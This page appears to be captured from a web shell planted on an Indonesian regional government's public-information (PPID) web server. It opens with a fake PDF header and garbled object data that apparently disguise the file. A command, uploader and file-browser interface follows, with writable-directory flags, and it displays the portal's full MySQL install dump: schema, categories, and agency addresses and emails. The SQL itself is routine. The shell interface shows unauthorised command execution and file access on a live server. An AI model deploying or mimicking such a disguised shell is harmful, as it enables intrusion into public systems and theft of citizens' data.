%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :
ikan Uploader :
Directory :  /var/www/new-ppid-app/database/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/database/ppid_mateng.sql
-- =====================================================================
--  PPID Kabupaten Mamuju Tengah — Skema Database (INSTALL BARU)
-- =====================================================================
--  Isi berkas ini:
--    • Struktur lengkap 16 tabel (beserta foreign key & index).
--    • Data master     : kategori_informasi, direktori, upd, desa, layanan_desa.
--    • 1 akun admin default (lihat di bagian bawah berkas).
--
--  TIDAK berisi data pribadi (permohonan/keberatan/saran/testimoni kosong)
--  agar aman disimpan di repository publik.
--
--  CARA PAKAI (install baru):
--    phpMyAdmin -> pilih database Anda -> tab Import -> pilih berkas ini -> Go.
--
--  PERINGATAN: berkas ini MENGHAPUS tabel yang bernama sama (DROP TABLE).
--  JANGAN diimpor ke database yang sudah berisi data produksi.
--  Untuk perubahan skema pada DB berisi data, gunakan skrip migrasi
--  (CREATE TABLE IF NOT EXISTS / ALTER TABLE ... ADD COLUMN).
-- =====================================================================

SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;
SET SQL_MODE = 'NO_AUTO_VALUE_ON_ZERO';


-- ---------------------------------------------------------------------
-- 1) STRUKTUR TABEL
-- ---------------------------------------------------------------------
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!50503 SET NAMES utf8mb4 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
DROP TABLE IF EXISTS `admin_users`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `admin_users` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `nama` varchar(120) COLLATE utf8mb4_unicode_ci NOT NULL,
  `username` varchar(60) COLLATE utf8mb4_unicode_ci NOT NULL,
  `email` varchar(150) COLLATE utf8mb4_unicode_ci NOT NULL,
  `password` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `role` enum('superadmin','admin','upd','verifikator') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'admin',
  `upd_id` int unsigned DEFAULT NULL,
  `foto` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `last_login` datetime DEFAULT NULL,
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  UNIQUE KEY `uq_admin_username` (`username`),
  UNIQUE KEY `uq_admin_email` (`email`),
  KEY `fk_admin_upd` (`upd_id`),
  CONSTRAINT `fk_admin_upd` FOREIGN KEY (`upd_id`) REFERENCES `upd` (`id`) ON DELETE SET NULL
) ENGINE=InnoDB AUTO_INCREMENT=37 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
DROP TABLE IF EXISTS `berita`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `berita` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `judul` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `slug` varchar(280) COLLATE utf8mb4_unicode_ci NOT NULL,
  `ringkasan` varchar(500) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `konten` mediumtext COLLATE utf8mb4_unicode_ci NOT NULL,
  `gambar` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `status` enum('publish','draft') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'publish',
  `views` int unsigned NOT NULL DEFAULT '0',
  `created_by` int unsigned DEFAULT NULL,
  `published_at` datetime DEFAULT NULL,
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  `updated_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  UNIQUE KEY `uq_berita_slug` (`slug`),
  KEY `idx_berita_status` (`status`),
  KEY `fk_berita_admin` (`created_by`),
  CONSTRAINT `fk_berita_admin` FOREIGN KEY (`created_by`) REFERENCES `admin_users` (`id`) ON DELETE SET NULL
) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
DROP TABLE IF EXISTS `berita_foto`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `berita_foto` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `berita_id` int unsigned NOT NULL,
  `file` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `urutan` int NOT NULL DEFAULT '0',
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  KEY `idx_berita_foto` (`berita_id`),
  CONSTRAINT `fk_berita_foto` FOREIGN KEY (`berita_id`) REFERENCES `berita` (`id`) ON DELETE CASCADE
) ENGINE=InnoDB AUTO_INCREMENT=8 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
DROP TABLE IF EXISTS `desa`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `desa` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `kecamatan` varchar(80) COLLATE utf8mb4_unicode_ci NOT NULL,
  `nama` varchar(120) COLLATE utf8mb4_unicode_ci NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `uq_desa` (`kecamatan`,`nama`),
  KEY `idx_desa_kec` (`kecamatan`)
) ENGINE=InnoDB AUTO_INCREMENT=55 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
DROP TABLE IF EXISTS `direktori`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `direktori` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `slug` varchar(160) COLLATE utf8mb4_unicode_ci NOT NULL,
  `nama` varchar(150) COLLATE utf8mb4_unicode_ci NOT NULL,
  `deskripsi` text COLLATE utf8mb4_unicode_ci,
  `urutan` int NOT NULL DEFAULT '0',
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  UNIQUE KEY `uq_direktori_slug` (`slug`)
) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
DROP TABLE IF EXISTS `dokumen_informasi`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `dokumen_informasi` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `kategori_id` int unsigned NOT NULL,
  `upd_id` int unsigned DEFAULT NULL,
  `direktori_id` int unsigned DEFAULT NULL,
  `judul` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `deskripsi` text COLLATE utf8mb4_unicode_ci,
  `file_name` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `file_original` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `file_size` int unsigned NOT NULL DEFAULT '0',
  `file_mime` varchar(120) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `tahun` year DEFAULT NULL,
  `unit_kerja` varchar(150) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `views` int unsigned NOT NULL DEFAULT '0',
  `downloads` int unsigned NOT NULL DEFAULT '0',
  `status` enum('publish','draft') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'publish',
  `created_by` int unsigned DEFAULT NULL,
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  `updated_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  KEY `idx_dok_kategori` (`kategori_id`),
  KEY `idx_dok_status` (`status`),
  KEY `fk_dok_admin` (`created_by`),
  KEY `fk_dok_upd` (`upd_id`),
  KEY `idx_dok_direktori` (`direktori_id`),
  CONSTRAINT `fk_dok_admin` FOREIGN KEY (`created_by`) REFERENCES `admin_users` (`id`) ON DELETE SET NULL,
  CONSTRAINT `fk_dok_direktori` FOREIGN KEY (`direktori_id`) REFERENCES `direktori` (`id`) ON DELETE SET NULL,
  CONSTRAINT `fk_dok_kategori` FOREIGN KEY (`kategori_id`) REFERENCES `kategori_informasi` (`id`) ON DELETE CASCADE,
  CONSTRAINT `fk_dok_upd` FOREIGN KEY (`upd_id`) REFERENCES `upd` (`id`) ON DELETE SET NULL
) ENGINE=InnoDB AUTO_INCREMENT=14 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
DROP TABLE IF EXISTS `galeri`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `galeri` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `judul` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `slug` varchar(280) COLLATE utf8mb4_unicode_ci NOT NULL,
  `tanggal` date DEFAULT NULL,
  `created_by` int unsigned DEFAULT NULL,
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  UNIQUE KEY `uq_galeri_slug` (`slug`),
  KEY `idx_galeri_tanggal` (`tanggal`),
  KEY `fk_galeri_admin` (`created_by`),
  CONSTRAINT `fk_galeri_admin` FOREIGN KEY (`created_by`) REFERENCES `admin_users` (`id`) ON DELETE SET NULL
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
DROP TABLE IF EXISTS `galeri_foto`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `galeri_foto` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `galeri_id` int unsigned NOT NULL,
  `file` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `urutan` int NOT NULL DEFAULT '0',
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  KEY `idx_galeri_foto` (`galeri_id`),
  CONSTRAINT `fk_galeri_foto` FOREIGN KEY (`galeri_id`) REFERENCES `galeri` (`id`) ON DELETE CASCADE
) ENGINE=InnoDB AUTO_INCREMENT=12 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
DROP TABLE IF EXISTS `galeri_video`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `galeri_video` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `judul` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `youtube_id` varchar(32) COLLATE utf8mb4_unicode_ci NOT NULL,
  `tanggal` date DEFAULT NULL,
  `created_by` int unsigned DEFAULT NULL,
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  KEY `idx_galeri_video_tanggal` (`tanggal`),
  KEY `fk_galeri_video_admin` (`created_by`),
  CONSTRAINT `fk_galeri_video_admin` FOREIGN KEY (`created_by`) REFERENCES `admin_users` (`id`) ON DELETE SET NULL
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
DROP TABLE IF EXISTS `kategori_informasi`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `kategori_informasi` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `slug` varchar(60) COLLATE utf8mb4_unicode_ci NOT NULL,
  `nama` varchar(120) COLLATE utf8mb4_unicode_ci NOT NULL,
  `deskripsi` text COLLATE utf8mb4_unicode_ci,
  `icon` varchar(60) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'fa-folder-open',
  `warna` varchar(30) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'blue',
  `tipe` enum('kip','regulasi') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'kip',
  `urutan` int NOT NULL DEFAULT '0',
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  UNIQUE KEY `uq_kategori_slug` (`slug`)
) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
DROP TABLE IF EXISTS `keberatan`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `keberatan` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `no_resi` varchar(30) COLLATE utf8mb4_unicode_ci NOT NULL,
  `permohonan_id` int unsigned DEFAULT NULL,
  `no_resi_permohonan` varchar(30) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `nama` varchar(150) COLLATE utf8mb4_unicode_ci NOT NULL,
  `email` varchar(150) COLLATE utf8mb4_unicode_ci NOT NULL,
  `no_hp` varchar(25) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `alasan` enum('ditolak','tidak_ditanggapi','tidak_sesuai','biaya_tidak_wajar','keterlambatan','lainnya') COLLATE utf8mb4_unicode_ci NOT NULL,
  `uraian` text COLLATE utf8mb4_unicode_ci NOT NULL,
  `status` enum('baru','diproses','selesai') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'baru',
  `tanggapan` text COLLATE utf8mb4_unicode_ci,
  `diproses_oleh` int unsigned DEFAULT NULL,
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  `updated_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  UNIQUE KEY `uq_keberatan_resi` (`no_resi`),
  KEY `idx_keberatan_status` (`status`),
  KEY `fk_keberatan_permohonan` (`permohonan_id`),
  KEY `fk_keberatan_admin` (`diproses_oleh`),
  CONSTRAINT `fk_keberatan_admin` FOREIGN KEY (`diproses_oleh`) REFERENCES `admin_users` (`id`) ON DELETE SET NULL,
  CONSTRAINT `fk_keberatan_permohonan` FOREIGN KEY (`permohonan_id`) REFERENCES `permohonan` (`id`) ON DELETE SET NULL
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
DROP TABLE IF EXISTS `layanan_desa`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `layanan_desa` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `desa_id` int unsigned DEFAULT NULL,
  `kecamatan` varchar(80) COLLATE utf8mb4_unicode_ci NOT NULL,
  `nama_desa` varchar(120) COLLATE utf8mb4_unicode_ci NOT NULL,
  `website` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
  `keterangan` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `created_by` int unsigned DEFAULT NULL,
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  UNIQUE KEY `uq_ldesa_desa` (`desa_id`),
  KEY `idx_ldesa_kec` (`kecamatan`),
  KEY `fk_ldesa_admin` (`created_by`),
  CONSTRAINT `fk_ldesa_admin` FOREIGN KEY (`created_by`) REFERENCES `admin_users` (`id`) ON DELETE SET NULL,
  CONSTRAINT `fk_ldesa_desa` FOREIGN KEY (`desa_id`) REFERENCES `desa` (`id`) ON DELETE CASCADE
) ENGINE=InnoDB AUTO_INCREMENT=58 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
DROP TABLE IF EXISTS `permohonan`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `permohonan` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `no_resi` varchar(30) COLLATE utf8mb4_unicode_ci NOT NULL,
  `tipe_pemohon` enum('perorangan','badan_hukum','non_badan_hukum') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'perorangan',
  `nama` varchar(150) COLLATE utf8mb4_unicode_ci NOT NULL,
  `nama_lembaga` varchar(200) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `nik` varchar(20) COLLATE utf8mb4_unicode_ci NOT NULL,
  `email` varchar(150) COLLATE utf8mb4_unicode_ci NOT NULL,
  `no_hp` varchar(25) COLLATE utf8mb4_unicode_ci NOT NULL,
  `pekerjaan` varchar(100) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `alamat` text COLLATE utf8mb4_unicode_ci,
  `kategori_id` int unsigned DEFAULT NULL,
  `rincian_informasi` text COLLATE utf8mb4_unicode_ci NOT NULL,
  `tujuan_penggunaan` text COLLATE utf8mb4_unicode_ci NOT NULL,
  `cara_memperoleh` enum('melihat','salinan') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'salinan',
  `cara_terima` enum('email','pos','ambil') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'email',
  `status` enum('verifikasi','diproses','selesai','ditolak') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'verifikasi',
  `tanggapan` text COLLATE utf8mb4_unicode_ci,
  `file_tanggapan` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `diproses_oleh` int unsigned DEFAULT NULL,
  `tanggal_selesai` datetime DEFAULT NULL,
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  `updated_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `no_ahu` varchar(100) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `akta_notaris` varchar(150) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `jumlah_anggota` int unsigned DEFAULT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `uq_permohonan_resi` (`no_resi`),
  KEY `idx_permohonan_status` (`status`),
  KEY `fk_permohonan_kategori` (`kategori_id`),
  KEY `fk_permohonan_admin` (`diproses_oleh`),
  CONSTRAINT `fk_permohonan_admin` FOREIGN KEY (`diproses_oleh`) REFERENCES `admin_users` (`id`) ON DELETE SET NULL,
  CONSTRAINT `fk_permohonan_kategori` FOREIGN KEY (`kategori_id`) REFERENCES `kategori_informasi` (`id`) ON DELETE SET NULL
) ENGINE=InnoDB AUTO_INCREMENT=10 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
DROP TABLE IF EXISTS `saran`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `saran` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `nama` varchar(150) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `email` varchar(150) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `kategori` enum('saran','kritik','pertanyaan','apresiasi','lainnya') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'saran',
  `isi` text COLLATE utf8mb4_unicode_ci NOT NULL,
  `status` enum('baru','dibaca') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'baru',
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  KEY `idx_saran_status` (`status`)
) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
DROP TABLE IF EXISTS `testimoni`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `testimoni` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `permohonan_id` int unsigned DEFAULT NULL,
  `no_resi` varchar(30) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `nama` varchar(150) COLLATE utf8mb4_unicode_ci NOT NULL,
  `rating` tinyint unsigned NOT NULL,
  `isi` text COLLATE utf8mb4_unicode_ci,
  `is_published` tinyint(1) NOT NULL DEFAULT '0',
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  KEY `idx_testi_pub` (`is_published`),
  KEY `idx_testi_resi` (`no_resi`)
) ENGINE=InnoDB AUTO_INCREMENT=9 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
DROP TABLE IF EXISTS `upd`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `upd` (
  `id` int unsigned NOT NULL AUTO_INCREMENT,
  `slug` varchar(60) COLLATE utf8mb4_unicode_ci NOT NULL,
  `nama` varchar(160) COLLATE utf8mb4_unicode_ci NOT NULL,
  `singkatan` varchar(40) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `deskripsi` text COLLATE utf8mb4_unicode_ci,
  `penanggung_jawab` varchar(150) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `urutan` int NOT NULL DEFAULT '0',
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  `alamat` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `telepon` varchar(50) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `email` varchar(150) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `website` varchar(190) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `uq_upd_slug` (`slug`)
) ENGINE=InnoDB AUTO_INCREMENT=32 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;


-- ---------------------------------------------------------------------
-- 2) DATA MASTER (referensi — bukan data pribadi)
--    kategori_informasi, direktori, upd, desa, layanan_desa
-- ---------------------------------------------------------------------
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!50503 SET NAMES utf8mb4 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

LOCK TABLES `kategori_informasi` WRITE;
/*!40000 ALTER TABLE `kategori_informasi` DISABLE KEYS */;
INSERT INTO `kategori_informasi` (`id`, `slug`, `nama`, `deskripsi`, `icon`, `warna`, `tipe`, `urutan`, `created_at`) VALUES (1,'berkala','Informasi Berkala','Informasi publik yang wajib disediakan dan diumumkan secara rutin atau berkala.','fa-calendar-alt','blue','kip',1,'2026-06-27 03:35:15'),(2,'serta-merta','Informasi Serta Merta','Informasi yang dapat mengancam hajat hidup orang banyak dan ketertiban umum.','fa-bolt','red','kip',2,'2026-06-27 03:35:15'),(3,'setiap-saat','Informasi Setiap Saat','Informasi yang harus selalu tersedia dan dapat diakses melalui permohonan.','fa-clock','green','kip',3,'2026-06-27 03:35:15'),(4,'dikecualikan','Informasi Dikecualikan','Informasi yang rahasia dan tidak dapat diakses publik sesuai undang-undang.','fa-lock','slate','kip',4,'2026-06-27 03:35:15'),(5,'regulasi','Regulasi & Peraturan','Dasar hukum, peraturan, dan Standar Operasional Prosedur layanan informasi.','fa-gavel','gold','regulasi',5,'2026-06-27 03:35:15');
/*!40000 ALTER TABLE `kategori_informasi` ENABLE KEYS */;
UNLOCK TABLES;

LOCK TABLES `direktori` WRITE;
/*!40000 ALTER TABLE `direktori` DISABLE KEYS */;
INSERT INTO `direktori` (`id`, `slug`, `nama`, `deskripsi`, `urutan`, `created_at`) VALUES (1,'profil-kelembagaan','Profil & Kelembagaan',NULL,0,'2026-07-05 02:18:36'),(2,'laporan-keuangan','Laporan Keuangan',NULL,1,'2026-07-05 02:18:36'),(3,'laporan-kinerja','Laporan Kinerja',NULL,2,'2026-07-05 02:18:36'),(4,'pengadaan-barang-jasa','Pengadaan Barang & Jasa',NULL,3,'2026-07-05 02:18:36'),(5,'peraturan-kebijakan','Peraturan & Kebijakan',NULL,4,'2026-07-05 02:18:36');
/*!40000 ALTER TABLE `direktori` ENABLE KEYS */;
UNLOCK TABLES;

LOCK TABLES `upd` WRITE;
/*!40000 ALTER TABLE `upd` DISABLE KEYS */;
INSERT INTO `upd` (`id`, `slug`, `nama`, `singkatan`, `deskripsi`, `penanggung_jawab`, `urutan`, `created_at`, `alamat`, `telepon`, `email`, `website`) VALUES (1,'setda','Sekretariat Daerah','SETDA','Membawahi: Bagian Pemerintahan, Bagian Kesejahteraan Rakyat, Bagian Hukum, Bagian Perekonomian dan Sumber Daya Alam, Bagian Administrasi Pembangunan, Bagian Pengadaan Barang dan Jasa, Bagian Umum, Bagian Organisasi, serta Bagian Protokol dan Komunikasi Pimpinan.','PPID Pembantu SETDA',1,'2026-06-29 03:13:45','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','setda@mamujutengahkab.go.id',NULL),(2,'sekretariat-dprd','Sekretariat DPRD','SETWAN',NULL,'PPID Pembantu SETWAN',2,'2026-06-29 03:13:45','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','sekretariatdprd@mamujutengahkab.go.id',NULL),(3,'inspektorat','Inspektorat','INSPEKTORAT',NULL,'PPID Pembantu INSPEKTORAT',3,'2026-06-29 03:13:45','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','inspektorat@mamujutengahkab.go.id',NULL),(4,'bpkpad','Badan Pengelolaan Keuangan, Pendapatan dan Aset Daerah','BPKPAD',NULL,'PPID Pembantu BPKPAD',4,'2026-06-29 03:13:45','Kompleks Perkantoran Pemkab Mamuju Tengah, Tobadak, Sulawesi Barat','(0426) 2021-000','bpkpad@mamujutengahkab.go.id',NULL),(5,'bapperida','Badan Perencanaan Pembangunan, Riset dan Inovasi Daerah','BAPPERIDA',NULL,'PPID Pembantu 